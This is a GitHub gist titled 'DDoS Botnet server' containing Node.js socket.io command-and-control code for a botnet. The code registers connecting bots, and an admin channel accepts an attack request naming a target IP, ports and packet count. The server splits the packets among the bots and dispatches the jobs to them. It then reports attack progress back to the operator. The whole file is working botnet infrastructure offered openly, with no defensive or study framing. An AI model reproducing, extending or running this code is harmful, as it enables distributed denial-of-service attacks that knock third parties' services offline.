Last active
March 31, 2022 20:23
-
-
Save Maruf-S/6b53b593d8bfb91cbe3a5a8ab6faa98b to your computer and use it in GitHub Desktop.
DDoS Botnet server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { Client, AttackType } = require("../lib/classes/client"); | |
const { SocketService } = require("../lib/classes/client_socket_list"); | |
const authToken = "c1e8798209-0,c21ce21e2c12"; | |
let tasks = []; | |
// no_of_packets,progress,clientsLen,id | |
module.exports = function (io) { | |
let botsIo = io.of("/bots"); | |
let adminIo = io.of("/admin"); | |
botsIo.on("connection", async (socket) => { | |
console.log(`Got a new client [@${socket.id}]`); | |
socket.emit("meta_requested", (client_meta) => { | |
if ([0].includes(client_meta.version)) { | |
console.log("Rejected a server"); | |
socket.emit("connection rejected", "reason => Outdated server"); | |
socket.disconnect(true); | |
console.log( | |
`Client rejected, clients list length = [${SocketService.botsList.length}]` | |
); | |
} else { | |
console.log("Got a new client"); | |
console.log(client_meta); | |
SocketService.botsList.push( | |
new Client({ | |
...client_meta, | |
socket: socket, | |
id: socket.id, | |
}) | |
); | |
console.log( | |
`New client connected, clients list length = [${SocketService.botsList.length}]` | |
); | |
adminIo.emit("on_botnet_change", { | |
availableBots: SocketService.botsList.map((e) => { | |
return { ...e, socket: null }; | |
}), | |
}); | |
} | |
}); | |
//! --------------------------------------------------------- | |
socket.on("disconnect", function (reason) { | |
console.log("Got a disconnect @", socket.id); | |
console.log(`reason => ${reason}`); | |
SocketService.botsList = SocketService.botsList.filter( | |
(client) => client.id != socket.id | |
); | |
console.log(`clients list length = [${SocketService.botsList.length}]`); | |
adminIo.emit("on_botnet_change", { | |
availableBots: SocketService.botsList.map((e) => { | |
return { ...e, socket: null }; | |
}), | |
}); | |
}); | |
socket.on("on_progress_update", function (data) { | |
const { id, progress } = data; | |
tasks = tasks.map((e) => { | |
if (e.id == id) { | |
return { | |
...e, | |
progress: progress < e.progress ? e.progress : progress, | |
}; | |
} else { | |
return { ...e }; | |
} | |
}); | |
let totalProgress = tasks.reduce((a, b) => +a + +b.progress, 0); | |
let total_packets = tasks.reduce( | |
(a, b) => +a + +b.attackDetails.no_of_packets, | |
0 | |
); | |
if (totalProgress >= 100 * tasks.length) { | |
adminIo.emit("on_progress_update", { progress: 100 }); | |
tasks = []; | |
} else { | |
adminIo.emit("on_progress_update", { | |
progress: Number(totalProgress / tasks.length).toFixed(1), | |
total_packets_sent: Number( | |
((total_packets * totalProgress) / tasks.length) * 0.01 | |
).toFixed(0), | |
}); | |
} | |
}); | |
}); | |
adminIo.on("connection", async (socket) => { | |
console.log(`Got an admin client [@${socket.id}]`); | |
socket.emit("on_botnet_change", { | |
availableBots: SocketService.botsList.map((e) => { | |
return { ...e, socket: null }; | |
}), | |
}); | |
socket.on("on_attack_requested", function (attackDetails) { | |
const { no_of_packets, target_ip, dport, sport } = attackDetails; | |
let no_of_packets_per_bot = Math.floor( | |
no_of_packets / SocketService.botsList.length | |
); | |
tasks = SocketService.botsList.map((e) => { | |
return { | |
socket: e.socket, | |
progress: 0, | |
id: socket.id, | |
attackDetails: { | |
...attackDetails, | |
no_of_packets: no_of_packets_per_bot, | |
}, | |
}; | |
}); | |
tasks.forEach((e) => { | |
e.socket.emit("job_arrival", { | |
id: e.id, | |
attackDetails: e.attackDetails, | |
}); | |
}); | |
}); | |
socket.on("disconnect", function (reason) { | |
console.log("Got an admin disconnect @", socket.id); | |
console.log(`reason => ${reason}`); | |
}); | |
}); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment